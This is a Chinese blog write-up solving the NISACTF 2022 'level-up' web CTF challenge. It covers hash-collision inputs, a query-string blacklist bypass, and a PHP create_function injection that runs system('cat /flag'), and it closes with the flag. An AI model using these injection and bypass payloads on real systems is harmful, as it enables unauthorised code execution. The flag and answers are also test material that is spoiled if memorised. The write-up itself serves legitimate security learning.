[NISACTF 2022]level-up

发布时间 2023-08-04 22:27:44作者: y0Zero

[NISACTF 2022]level-up

题目来源:nssctf

题目类型:web

涉及考点:WAF绕过

1. level-1

  • 打开题目页面,查看源代码,发现disallow,第一时间想到robots.txt
  • 查看发现了level2:

2. level-2

  • 我们直接查看,然后是代码审计:
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>
  • 题目要求POST传入array1和array2,且array1、array2是md5强碰撞(即array1、array2不等但他们的md5散列值完全相等)

有关常用的md5强弱碰撞在之前的博客中有提到,见:[BJDCTF 2020]easy_md5

  • 传参得到了level3:

3. level-3

  • 还是代码审计,这次换成了找sha1的强碰撞
<?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (sha1($a1) === sha1($a2)){
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>

这里就给出一对吧

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
  • 我们传入得到level4:

4. level-4

  • 这回考正则匹配了
<?php
//here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
        die($level5);
    }
    else{
        die("level 4 failed ...");
    }

?>

简单说下$_SERVER['REQUEST_URI'],它可以取得当前URL的路径地址,详细请见:[鹤城杯 2021]EasyP

  • 第二个if过滤掉了空格、下划线、.,即,我们的url中不能包含这三个。但是题目需要GET传入的参数又有下划线,这时可以用+ [来替换掉下划线,但是我试了用[不行,也不知道为什么,所以这里我们用加号,于是构造payload如下:
/level_level_4.php?NI+SA+=txw4ever
  • 得到了level5:

GET或POST方式传进去的变量名,会自动将空格 + . [转换为_

parse_url(string str):解析 URL 并返回关联数组,包含在 URL 中出现的各种组成部分

可能的键有以下:

所以在这里$_SERVER拿到的是有加号的url,而GET获得的数据是将加号转为下划线之后的

5. level-5

  • 这里是最后一个了,还是先代码审计
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

对于传入的参数a,过滤掉非字母、数字、下划线,不分字母大小写

这里也是看了其他师傅的wp才知道要用create_function,这里介绍一下:

create_function(string a, string b)会创造一个匿名函数,传入的两个参数均为字符串

其中,字符串a中表示函数需要传入的参数,字符串b表示函数中的执行语句

例如,create_function('$a', 'echo("hello");'),我们需要把它看作:

function niming($a)
{
	echo("hello");
}

因为create_function自带eval命令执行,因此我们需要传入$a\create_function

而对于参数$b,我们需要让它执行system()函数,用于回显flag,因此传入$b}system('cat /flag');//

那么对于这个create_function来说,它的展开应该是这样的:

function niming()
{
}system('cat /flag');//}

这里参数b中的大括号直接把function闭合了,因此后面的system可以正常进行,且原先的大括号被注释掉了,就不会报错

另外这里参数a中,最前面加了个\,我也不知道为什么,别人的wp写的解释是因为参数a做正则所以加上?(没搞明白)

个人理解是因为正则匹配从后往前(有$),因此到最前面有个\用以结束?若不加反斜杠,则无法绕过正则

最终构造payload如下:

/55_5_55.php?a=\create_function&b=}system('cat /flag');//

得到flag:

NSSCTF{48c66d53-01d9-4140-8589-16b35688625d}

日期:2023.8.4

作者:y0Zero